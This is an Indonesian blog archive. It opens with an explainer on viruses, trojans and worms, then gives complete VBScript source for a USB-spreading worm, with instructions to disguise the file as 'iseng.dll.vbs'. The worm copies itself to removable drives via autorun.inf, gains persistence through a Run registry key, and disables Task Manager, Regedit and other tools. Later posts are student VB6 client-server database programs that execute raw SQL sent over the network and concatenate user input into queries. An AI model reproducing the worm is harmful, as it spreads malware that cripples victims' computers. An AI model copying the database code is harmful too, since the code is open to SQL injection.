Sabtu, 05 Mei 2012

VIRUS

Apa itu virus?
Virus atau worm adalah suatu program komputer yang dapat menyebar pada komputer atau jaringan dengan cara membuat copy dari dirinya sendiri tanpa sepengetahuan dari pengguna komputer tersebut. Virus dapat menimbulkan efek yang berbahaya, misalnya mulai dari menampilkan pesan, mencuri data atau bahkan mengontrol komputer Anda dari jarak jauh.

Bagaimana virus menginfeksi komputer?

Suatu virus pertama kali harus dijalankan sebelum ia mampu untuk menginfeksi suatu komputer. Ada berbagai macam cara agar virus ini dijalankan oleh korban, misalnya dengan menempelkan dirinya pada suatu program yang lain. Ada juga virus yang jalan ketika Anda membuka suatu tipe file tertentu. Kadangkala virus juga memanfaatkan celah keamanan yang ada pada komputer Anda (baik sistem operasi atau aplikasi), dengan memanfaatkan hal-hal tersebut virus dapat berjalan dan kemudian akan menyebarkan dirinya sendiri secara otomatis.

Anda juga dapat menerima suatu file yang sudah terinfeksi virus dalam attachment e-mail Anda. Begitu file tersebut Anda jalankan, maka kode virus akan berjalan dan mulai menginfeksi komputer Anda dan bisa menyebar pula ke semua file yang ada di jaringan komputer Anda.

Trojan horse
Trojan horse adalah program yang kelihatan seperti program yang valid atau normal, tetapi sebenarnya program tersebut membawa suatu kode dengan fungsi-fungsi yang sangat berbahaya bagi komputer Anda.

Sebagai contoh, virus DLoader-L datang dari attachment e-mail dan dianggap sebagai sebagai suatu update program dari Microsoft untuk sistem operasi Windows XP. Jika Anda menjalankannya maka dia akan mendownload program dan akan memanfaatkan komputer Anda untuk menghubungkan komputer Anda ke suatu website tertentu. Targetnya tentu saja untuk membuat website tadi menjadi overload dan akhirnya tidak bisa diakses dengan benar oleh pihak lain. Ini sering dinamakan dengan serangan denial of service atau DoS.

Trojan tidak dapat menyebar secepat virus karena trojan tidak membuat copy dari dirinya sendiri secara otomatis. Tapi sejalan dengan perkembangan virus, maka trojan horse bisa bekerjasama dengan virus dalam hal penyebarannya. Virus dapat melakukan download terhadap trojan yang merekam keystroke keyboard Anda atau mencuri informasi yang ada pada komputer Anda. Di sisi lain, trojan juga digunakan untuk menginfeksi suatu komputer dengan virus.

Worms
Worm bisa dikatakan mirip dengan virus tetapi worm tidak memerlukan carrier dalam hal ini program atau suatu dokumen. Worm mampu membuat copy dari dirinya sendiri dan mengunakan jaringan komunikasi antar komputer untuk menyebarkan dirinya. Banyak virus seperti MyDoom atau Bagle bekerja sebagaimana layaknya worm dan menggunakan e-mail untuk mem-forward dirinya sendiri kepada pihak lain.

Apa yang bisa dilakukan oleh virus?
Virus seringkali mengganggu Anda atau menghentikan kerja komputer Anda pada saat diperlukan. Sejalan dengan perkembangan di dunia virus komputer maka sampai saat ini efek dari virus ini sudah semakin banyak, yaitu:
• Memperlambat e-mail
Virus dapat menyebar melalui e-mail, seperti virus Sobig, dan mampu untuk membuat trafik e-mail yang sangat besar yang tentu saja akan membuat server menjadi lambat atau bahkan menjadi crash. Bahkan jika hal tersebut tidak sampai terjadi, perusahaan yang merasa terganggu dengan insiden ini toh juga akan mematikan servernya.

Mencuri data konfidental
Worm Bugbear-D contohnya, mampu merekam keystroke keyboard Anda, termasuk password dan lain sebagainya. Rekaman tadi biasanya akan dikirim ke si pembuat virus untuk dimanfaatkan lebih lanjut.

Menggunakan komputer Anda untuk menyerang suatu situs
MyDoom contohnya, dia menginfeksi banyak komputer di seluruh dunia untuk menyerang situs SCO dengan traffic data yang sangat besar. Ini akan membuat situs tersebut akan terbebani luar biasa dan akhirnya akan crash dan tidak bisa melayani pengguna lainnya. Ini biasa dinamakan dengan denial of service.

Membiarkan orang lain untuk membajak komputer Anda
Beberapa virus menempatkan trojan backdoor pada komputer dan ini akan membuat si pembuat virus dapat terhubung ke komputer tersebut secara diam-diam dan bisa dimanfaatkan lebih lanjut sesuai dengan keinginannya.

Merusak data
Virus Compatable contohnya, dapat membuat perubahan pada data yang Anda simpan pada dokumen MS Excel.

Menghapus data
Virus Sircam contohnya, berusaha untuk menghapus atau meng-overwrite hardisk Anda pada suatu waktu tertentu yang tidak terduga.

Men-disable hardware
Virus CIH atau Chernobyl contohnya, berusaha untuk meng-overwrite chip BIOS pada tanggal 26 April dan akan membuat komputer Anda menjadi tidak berfungsi.

Menimbulkan hal-hal yang aneh dan mengganggu
Virus worm Netsky-D contohnya, dapat membuat komputer berbunyi beep secara spontan atau tiba-tiba untuk beberapa jam lamanya.

Menampilkan pesan tertentu
Virus Cone-F contohnya, akan menampilkan pesan berbau politik jika bulan menunjukkan bulan Mei.

Merusak kredibilitas Anda
Jika virus mem-forward dirinya sendiri dari komputer Anda ke komputer pelanggan Anda atau komputer rekan bisnis Anda, maka hal ini akan merusak reputasi Anda sebagai suatu organisasi dan mereka akan tidak mau lagi melanjutkan hubungan bisnis dengan Anda atau malah menuntut kompensasi dari pihak Anda.

Membuat malu Anda
Virus PolyPost contohnya, akan memposting dokumen dan nama Anda pada newsgroup yang berbau pornografi.

Cara Kerja Virus Komputer
Cara kerja Virus Komputer pada umumnya adalah menyebarkan dirinya dengan cara antara lain menularkan file-file executable atau file-file yang bisa dijalankan langsung dari DOS Command line Untuk memperjelas mekanisme penyebaran di ilustrasikan pada gambar dibawah ini :


Sudah jadi sifat virus jika dia dijalankan, maka ia menulari program aplikasi yang lain, yang di maksud menulari adalah menyalin dirinya atau program virus tersebut ke program aplikasi lainnya, jika dalm hal ini yang tertular adalah program Aplikasi 1, maka apabila program aplikasi 1 tersebut dijalankan, maka program aplikasi 1 yang sudah serinfeksi virus itu akan menularkan virus pada program aplikasi yang ke 2 , maka baik program aplikasi 1 maupun 2, sudah merupakan program pemikul bagi virus itu sendiri, yang akan menularkan seluruh program aplikasi yang ada.

Agar bisa bertindak sebagai virus komputer, sebuah program harus mempunyai 5 buah kemampuan yang merupakan prinsip dari virus komputer. Kelima kemampuan itu adalah :
1. Kemampuan mendapatkan informasi
2. Kemampuan memeriksa program
3. Kemampuan menggandakan diri / menularkan
4. Kemampuan mengadakan manipulasi
5. Kemampuan menyembunyikan diri sendiri

1. Kemampuan mendapatkan Informasi
Pada Virus Komputer kemampuan untuk mendapatkan informasi sangat penting, terutama informasi mengenai file yang akan diinfeksi, Virus Komputer biasa nya tidak menulari 1 program saja, tapi sekumpulan program, contohnya File-file EXE, file-file COM, atau kedua-duanya, virus harus mendapatkan informasi tentang file tersebut pada directory, hal-hal mengenai informasi pada file yang perlu diketahui antara lain :
1. Apakah Extensi File tersebut ( COM,EXE, BAT)
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi

Informasi tersebut sangat bermanfaat bagi virus, dimana informasi mengenai Extension file berguna untuk virus yang menyerang file-file tertentu contohnya virus yang menyerang file EXE, virus tersebut harus mencari file-file EXE yang akan ditulari.

Informasi attribut berguna untuk memberikan pilihan pada virus apakah dapat menyerang file dengan attribut Readonly, Hidden ataukan virus harus mengeset attribut file-file tersebut menjadi Normal, sehingga virus dapat menulari.
Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana
Besar_file_terinfeksi = file_asli + Virus_size

2. Kemampuan Untuk Memeriksa Program
Kemampuan untuk memeriksa program sangat penting bagi Virus Komputer , karena untuk mengetahui apakah file target sudah tertular atau belum, ini sangat penting karena virus tidak akan menularkan dirinya berkali-kali pada file yang sama, selain untuk mempercepat proses penularan juga untuk menjaga agar file korban tidak rusak, karena apabila penularan dilakukan berulang-ulang pada file yang sama, CRC dari file tersebut akan kacau dan menyebabkan file yang tertular tidak jalan, biasaanya file rusak tersebut akan mengeluarkan pesan Divide Over Flow, atau Error in Exe File, selain itu file yang berkali-kali diifeksi akan bertambah besar, dan akan mencurigakan pemakai komputer.

3. Kemampuan untuk menggandakan diri / Replicating
kemampuan ini merupakan inti utama dari Virus Komputer , karena virus komputer memang diprogram untuk menularkan, dan memperbanyak dirinya. Tugas dari rutin replicating ini adalah menyebarkan virus keseluruh system yang ditularinya, tugas dari rutin ini sangat berat karena rutin tersebut harus mampu menyebarkan virus dengan cepat dan tidak diketahui oleh pemakai komputer, selain itu rutin replicator harus dapat menjaga agar file yang ditularinnya tidak rusak ( Rutin untuk Virus Appending / NonOverwriting ), dan dapat berjalan sebagaimana mestinnya.

Cara kerja rutin replicator pada file COM lebih sederhana dari file EXE, karena struktur program EXE yang tidak terbatas besarnya yaitu ( sebesar memory di komputer ), sedangkan file COM hanya dibatasi sampai 64 Kb ( Base memory ). Rutin replikator pada file COM akan menditeksi dan mengcopy byte pertama dari file yang akan ditularinya, kedalam suatu daerah di memory, rutin tersebut dipindahkan kedalam daerah lain dalam file.

4. Kemampuan Mengadakan Manipulasi
Kemampuan untuk mengadakan manipulasi sangat penting dilakukan oleh virus, karena bagian ini sebetulnya yang membuat virus komputer menarik, dan mempunyai seni dalam pembuatannya. Bagian manipulasi atau rutin manipulasi ini banyak macamnya, dan fungsinya, suatu virus dapat mempunyai salah satu diantara rutin-rutin manipulasi ini maupun gabungan antara rutin-rutin manipulasi tersebut. yang pasti, makin banyak rutin manipulasi yang dipakai oleh virus, maka akan makin besar ukuran virus yang dibuat. Diantara rutin-rutin manipulasi yang ada, yang sering digunakan adalah :
a. Menampilkan tulisan atau kata-kata atau gambar
b. Membunyikan port speaker
c. Time bomb ayau logic Bomb

Nah kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini diberi nama “Iseng.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,iseng,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe iseng.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- iseng.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- iseng.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetype 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\ iseng.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\ iseng.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\ iseng.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set iseng = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE ISENG v.s. ZAY–//
iseng.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE ISENG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
iseng.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
iseng.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
iseng.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
iseng.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
iseng.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
iseng.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
iseng.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
iseng.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Iseng. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
iseng.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- iseng.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
iseng.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “ iseng az”
iseng.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Iseng”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : iseng.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja..


NB : Tanda Petik pada bagian diatas perlu di modif saat di copy di notepad....Thanks to pihak-pihak yang terlibat

Jumat, 27 Januari 2012

Jawaban Soal 3 (SITI MUALIMAH)

PROGRAM SERVER

Dim ClientIndex As Byte
Dim cRequest As Integer
Dim cData As String
Dim i As Integer
Dim iGD As Integer

Sub MulaiServer()
        WS(0).LocalPort = 3000
        WS(0).Listen
        cRequest = 1
        ClientIndex = 1
End Sub

Private Sub Form_Load()
        MulaiServer
        GD.Rows = 41
        For i = 1 To 40
            GD.Col = 0
            GD.Row = i
            GD.Text = i
        Next i
        iGD = 1
End Sub

Private Sub Timer1_Timer()

    For i = 1 To GD.Rows - 1
        GD.Row = i
        GD.Col = 4
        If GD.Text = "START" Then
            GD.Col = 3
            GD.Text = Time
        End If
    Next i
End Sub

Private Sub Timer2_Timer()
WS.SendData "PAKAI-" & Pakai.Value & "/" & 3000
End Sub

Private Sub WS_ConnectionRequest(index As Integer, ByVal requestID As Long)
        Load WS(cRequest)
        WS(cRequest).Close
        WS(cRequest).Accept requestID
        cRequest = cRequest + 1 '
Timer1.Enabled = True
Timer2.Enabled = True

End Sub

Private Sub WS_DataArrival(index As Integer, ByVal bytesTotal As Long)
        WS(index).GetData cData, vbString, bytesTotal
        Call CekData(index)
       
End Sub

Sub CekData(index)
        Dim kata() As String
        kata = Split(cData, "-")
        Select Case kata(0)
        Case "START"
                        GD.Row = iGD
                        GD.Col = 1
                        GD.Text = kata(1) 'WS(index).RemoteHostIP
                        GD.Col = 2
                        GD.Text = Time
                        GD.Col = 4
                        GD.Text = "START"
                        GD.Col = 5
                        GD.Text = kata(2)
                        iGD = iGD
        Case "STOP"
            For i = 1 To GD.Rows - 1
                GD.Row = i
                GD.Col = 1
                If GD.Text = kata(1) Then
                        GD.Col = 4
                        GD.Text = "STOP"
                End If
            Next i
        End Select
End Sub
       
Private Sub WS_Error(index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
        WS(index).Close
End Sub

PROGRAM CLIENT

Dim IPS As String
Dim User As String

Private Sub Command1_Click()
    WS.SendData "START-" & User & "-Isna"
End Sub

Private Sub Command2_Click()
    WS.SendData "STOP-" & User
End Sub

Private Sub Form_Load()
    IPS = "127.0.0.1"
    User = WS.LocalIP
    WS.Connect IPS, 3000
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
WS.GetData xKirim, vbString, bytesTotal
Call CheckData
End Sub

Sub CheckData()
xdata1 = Split(xKirim, "-")
xdata2 = Split(xdata1(1), "/")

Select Case xdata1(0)
    Case "PAKAI"
    mulai.Value = xdata2(0)
    selesai.Value = xdata2(1)
    pakai.Value = xdata2(2)
    biaya.Text = (Val(Hour(pakai.Value) * 60) + Val(Minute(pakai.Value) * 50))
    End Select

End Sub

Jawaban Soal 2 (SITI MUALIMAH)

LISTING PROGRAM

PROGRAM SERVER

MODUL

Public Db As New ADODB.Connection
Public rs As New ADODB.Recordset
Public rs2 As New ADODB.Recordset
Public sql As String

Sub OPENDB()
If Db.State = adStateOpen Then Db.Close
Db.CursorLocation = adUseClient
Db.Open " Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\BelajarServer\Test.mdb;Persist Security Info=False "
End Sub

Sub ClearFORM(f As Form)
Dim ctl As Control
For Each ctl In f
    If TypeOf ctl Is TextBox Then ctl.Text = ""
    If TypeOf ctl Is ComboBox Then ctl.Text = ""
Next
End Sub

Sub Center(f As Form)
f.Move (Screen.Width - f.Width) / 2, (Screen.Height - f.Height) / 4
End Sub

Sub RubahCMD(f As Form, L0 As Boolean, L1 As Boolean, L2 As Boolean, L3 As Boolean)
f.cmdproses(0).Enabled = L0
f.cmdproses(1).Enabled = L1
f.cmdproses(2).Enabled = L2
f.cmdproses(3).Enabled = L3
End Sub

PROGRAM FORM BARANG
Sub hapus()
kode.Enabled = True
ClearFORM Me
Call RubahCMD(Me, True, False, False, False)
cmdproses(1).Caption = "&Simpan"
End Sub

Sub ProsesDB(Log As Byte)
Select Case Log

Case 0
sql = "insert into Barang(kode,nama,harga)" & _
"values('" & kode.Text & _
"','" & nama.Text & _
"','" & harga.Text & "')"

Case 1
sql = "update Barang set nama='" & nama.Text & "'," & _
"harga= '" & harga.Text & "'" & _
"where kode='" & kode.Text & "'"

Case 2
sql = "delete from Barang where kode='" & kode.Text & "'"
End Select
 MsgBox "Pemrosesan record database telah berhasil...!", vbInformation, "data Barang"
 Db.BeginTrans
 Db.Execute sql, adCmdTable
 Db.CommitTrans
 Call hapus
 Adodc1.Refresh
 kode.SetFocus

End Sub

Sub TampilBarang()
On Error Resume Next
kode.Text = rs!kode
nama.Text = rs!nama
harga.Text = rs!harga

End Sub


Private Sub cmdproses_Click(Index As Integer)
Select Case Index
Case 0
    Call hapus
    kode.SetFocus
Case 1
    If cmdproses(1).Caption = "&Simpan" Then
    Call ProsesDB(0)
    Else
    Call ProsesDB(1)
    End If
Case 2
    X = MsgBox("Yakin RECORD Barang akan dihapus...!", vbQuestion + vbYesNo, "Barang")
    If X = vbYes Then ProsesDB 2
    Call hapus
    kode.SetFocus
Case 3
    Call hapus
    kode.SetFocus
Case 4
    Unload Me
    End Select
   
End Sub


Private Sub Form_Load()
Call OPENDB
Call hapus
MulaiServer
End Sub

Private Sub kode_keypress(keyascii As Integer)
If keyascii = 13 Then
    If kode.Text = "" Then
        MsgBox "Masukkan Kode Barang! ", vbInformation, "Barang"
        kode.SetFocus
        Exit Sub
    End If
    sql = "SELECT * FROM Barang WHERE Kode='" & kode.Text & "' "
    If rs.State = adStateOpen Then rs.Close
    rs.Open sql, Db, adOpenDynamic, adLockOptimistic
    If rs.RecordCount <> 0 Then
        TampilBarang
        Call RubahCMD(Me, False, True, True, True)
        cmdproses(1).Caption = "&Edit"
       
        kode.Enabled = False
    Else
        X = kode.Text
        Call hapus
        kode.Text = X
            Call RubahCMD(Me, False, True, False, True)
            cmdproses(1).Caption = "&Simpan"
    End If
    nama.SetFocus
End If
End Sub

Sub MulaiServer()
WS.LocalPort = 1000
WS.Listen

End Sub

Private Sub ws_connectionrequest(ByVal requestid As Long)
WS.Close
WS.Accept requestid
Me.Caption = "server-client" & WS.RemoteHostIP & "connect"
End Sub

Private Sub ws_dataarrival(ByVal bytestotal As Long)
    Dim xKirim As String
    Dim xData1() As String
    Dim xData2() As String
   
    WS.GetData xKirim, vbString, bytestotal
   
    xData1 = Split(xKirim, "-")
   
    Select Case xData1(0)
        Case "SEARCH"
            sql = "SELECT * FROM Barang WHERE Kode='" & xData1(1) & "' "
            If rs.State = adStateOpen Then rs.Close
            rs.Open sql, Db, adOpenDynamic, adLockOptimistic
            If rs.RecordCount <> 0 Then
                WS.SendData "RECORD-" & rs!nama & "/" & rs!harga
            Else
                WS.SendData "NOTHING-DATA"
            End If
           
        Case "INSERT"
            Db.BeginTrans
            Db.Execute xData1(1), adCmdTable
            Db.CommitTrans
            WS.SendData " INSERT-xxx"
            Adodc1.Refresh
           
         Case "DELETE"
            sql = " Delete * from Barang " & _
                " where Kode = '" & xData1(1) & "' "
                Db.BeginTrans
                Db.Execute sql, adCmdTable
                Db.CommitTrans
                Adodc1.Refresh
                WS.SendData "DEL-xxx"
       
        Case "UPDATE"
            Db.BeginTrans
            Db.Execute xData1(1), adCmdTable
            Db.CommitTrans
            WS.SendData "EDIT-xxx"
            Adodc1.Refresh
    End Select
End Sub


PROGRAM CLIENT

MODUL
 Public SQL As String

Sub ClearFORM(f As Form)
Dim ctl As Control
For Each ctl In f
    If TypeOf ctl Is TextBox Then ctl.Text = ""
    If TypeOf ctl Is ComboBox Then ctl.Text = ""
Next
End Sub

Sub Center(f As Form)
f.Move (Screen.Width - f.Width) / 2, (Screen.Height - f.Height) / 4
End Sub

Sub RubahCMD(f As Form, L0 As Boolean, L1 As Boolean, L2 As Boolean, L3 As Boolean)
f.CmdProses(0).Enabled = L0
f.CmdProses(1).Enabled = L1
f.CmdProses(2).Enabled = L2
f.CmdProses(3).Enabled = L3
End Sub


PROGRAM FORM BARANG
Dim IPServer As String

Sub Hapus()
    Kode.Enabled = True
    ClearFORM Me
    Call RubahCMD(Me, True, False, False, False)
    CmdProses(1).Caption = "&Simpan"
End Sub

Sub ProsesDB(Log As Byte)
Select Case Log
    Case 0
        SQL = "INSERT INTO Barang(Kode,Nama,Harga)" & _
        "values('" & Kode.Text & _
        "','" & Nama.Text & _
        "','" & Harga.Text & "')"
    Case 1
        SQL = "UPDATE Barang Set Nama='" & Nama.Text & "'," & _
            "Harga='" & Harga.Text & "'," & _
            "where Kode='" & Kode.Text & "'"
    Case 2
        SQL = " DELETE FROM Barang WHERE Kode='" & Kode.Text & "'"
    End Select
    MsgBox "Pemrosesan RECORD Database telah berhasil....!", vbInformation, "Data Barang"
    Call Hapus
    Kode.SetFocus
End Sub

Sub MulaiKoneksi()
IPServer = "192.168.10.1"
IPClient = WS.LocalIP
WS.Connect IPServer, 1000
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents
End
End Sub

Private Sub Kode_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
  If Kode.Text = "" Then Exit Sub
  WS.SendData "SEARCH-" & Kode.Text
End If
End Sub

Private Sub CmdProses_Click(Index As Integer)
Select Case Index
    Case 0
     
        Call Hapus
        Kode.SetFocus
    Case 1
        If CmdProses(1).Caption = "&Simpan" Then
         SQL = "INSERT INTO Barang(Kode,Nama,Harga) " & _
        "values('" & Kode.Text & _
        "','" & Nama.Text & _
        "','" & Harga.Text & "')"
        WS.SendData "INSERT-" & SQL
        Else
            SQL = "UPDATE Barang Set " & _
                "nama='" & Nama.Text & _
                "',harga='" & Harga.Text & _
                "' where kode = '" & Kode.Text & "'"
            WS.SendData "UPDATE-" & SQL
        End If
    Case 2
        X = MsgBox("Yakin RECORD Barang Akan Dihapus.....!", vbQuestion + vbYesNo, "Barang")
        If X = vbYes Then
            WS.SendData "DELETE-" & Kode.Text
        End If
        Call Hapus
        Kode.SetFocus
    Case 3
        Call Hapus
        Kode.SetFocus
    Case 4
        Unload Me
    End Select
End Sub

Private Sub Form_Load()
Call Hapus
MulaiKoneksi
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim xKirim As String
Dim xData1() As String
Dim xData2() As String

WS.GetData xKirim, vbString, bytesTotal

xData1 = Split(xKirim, "-")
xData2 = Split(xData1(1), "/")

Select Case xData1(0)
    Case "NOTHING"
        X = Kode.Text
        Call Hapus
        Kode.Text = X
        Call RubahCMD(Me, False, True, False, True)
        CmdProses(1).Caption = "&Simpan"
        Nama.SetFocus
    Case "RECORD"
        xData2 = Split(xData1(1), "/")
        Nama.Text = xData2(0)
        Harga.Text = xData2(1)
        Call RubahCMD(Me, False, True, True, True)
        CmdProses(1).Caption = "&Edit"
        Kode.Enabled = False
        Nama.SetFocus
    Case "INSERT"
        MsgBox "Penyimpanan Berhasil!"
        Call Hapus
    Case "DEL"
        MsgBox "Penghapusan Data Berhasil!"
        Call Hapus
    Case "EDIT"
        MsgBox "Pengeditan Record Berhasil!"
        Call Hapus
End Select
End Sub

HASIL PROGRAM

Program Server











Program Client











Kamis, 19 Januari 2012

Tugas Program Karyawan Server


A. SERVER
1. FORM KARYAWAN

LISTING PROGRAM KARYAWAN

Sub hapus()
nik.Enabled = True
ClearFORM Me
Call RubahCMD(Me, True, False, False, False)
cmdproses(1).Caption = "&Simpan"
End Sub

Sub ProsesDB(Log As Byte)
Select Case Log
Case 0
sql = "insert into Karyawan(nik,nama,jabatan,golongan,bagian)" & _
"values('" & nik.Text & _
"','" & nama.Text & _
"','" & jabatan.Text & _
"','" & golongan.Text & _
"','" & bagian.Text & "')"
Case 1
sql = "update Karyawan set nama='" & nama.Text & "'," & _
"jabatan='" & jabatan.Text & "'," & _
"golongan='" & golongan.Text & "'," & _
"bagian= '" & bagian.Text & "'" & _
"where nik='" & nik.Text & "'"
Case 2
sql = "delete from Karyawan where nik='" & nik.Text & "'"
End Select
 MsgBox "Pemrosesan record database telah berhasil...!", vbInformation, "data Karyawan"
 Db.BeginTrans
 Db.Execute sql, adCmdTable
 Db.CommitTrans
 Call hapus
 Adodc1.Refresh
 nik.SetFocus
End Sub

Sub TampilKaryawan()
On Error Resume Next
nik.Text = rs!nik
nama.Text = rs!nama
jabatan.Text = rs!jabatan
golongan.Text = rs!golongan
bagian.Text = rs!bagian
End Sub

Private Sub cmdproses_Click(Index As Integer)
Select Case Index
Case 0
    Call hapus
    nik.SetFocus
Case 1
    If cmdproses(1).Caption = "&Simpan" Then
    Call ProsesDB(0)
    Else
    Call ProsesDB(1)
    End If
Case 2
    X = MsgBox("Yakin RECORD Karyawan akan dihapus...!", vbQuestion + vbYesNo, "Karyawan")
    If X = vbYes Then ProsesDB 2
    Call hapus
    nik.SetFocus
Case 3
    Call hapus
    nik.SetFocus
Case 4
    Unload Me
    End Select
End Sub


Private Sub Form_Load()
Call OPENDB
Call hapus
MulaiServer
End Sub

Private Sub nik_keypress(keyascii As Integer)
If keyascii = 13 Then
    If nik.Text = "" Then
        MsgBox "Masukkan NIK Karyawan! ", vbInformation, "Karyawan"
        nik.SetFocus
        Exit Sub
    End If
    sql = "SELECT * FROM Karyawan WHERE nik='" & nik.Text & "' "
    If rs.State = adStateOpen Then rs.Close
    rs.Open sql, Db, adOpenDynamic, adLockOptimistic
    If rs.RecordCount <> 0 Then
        TampilKaryawan
        Call RubahCMD(Me, False, True, True, True)
        cmdproses(1).Caption = "&Edit"
        nik.Enabled = False
    Else
        X = nik.Text
        Call hapus
        nik.Text = X
            Call RubahCMD(Me, False, True, False, True)
            cmdproses(1).Caption = "&Simpan"
    End If
    nama.SetFocus
End If
End Sub

Sub MulaiServer()
WS.LocalPort = 1000
WS.Listen
End Sub

Private Sub WS_connectionrequest(ByVal requestid As Long)
WS.Close
WS.Accept requestid
Me.Caption = "server-client" & WS.RemoteHostIP & "connect"
End Sub

Private Sub ws_dataarrival(ByVal bytestotal As Long)
    Dim xKirim As String
    Dim xData1() As String
    Dim xData2() As String
    WS.GetData xKirim, vbString, bytestotal
    xData1 = Split(xKirim, "-")
    Select Case xData1(0)
        Case "SEARCH"
            sql = "SELECT * FROM Karyawan WHERE nik='" & xData1(1) & "' "
            If rs.State = adStateOpen Then rs.Close
            rs.Open sql, Db, adOpenDynamic, adLockOptimistic
            If rs.RecordCount <> 0 Then
                WS.SendData "RECORD-" & rs!nama & "/" & rs!jabatan & "/" & rs!golongan & "/" & rs!bagian
            Else
                WS.SendData "NOTHING-DATA"
            End If
        Case "INSERT"
            Db.BeginTrans
            Db.Execute xData1(1), adCmdTable
            Db.CommitTrans
            WS.SendData " INSERT-xxx"
            Adodc1.Refresh
         Case "DELETE"
            sql = " Delete * from Karyawan " & _
                " where Kode = '" & xData1(1) & "' "
                Db.BeginTrans
                Db.Execute sql, adCmdTable
                Db.CommitTrans
                Adodc1.Refresh
                WS.SendData "DEL-xxx"
        Case "UPDATE"
            Db.BeginTrans
            Db.Execute xData1(1), adCmdTable
            Db.CommitTrans
            WS.SendData "EDIT-xxx"
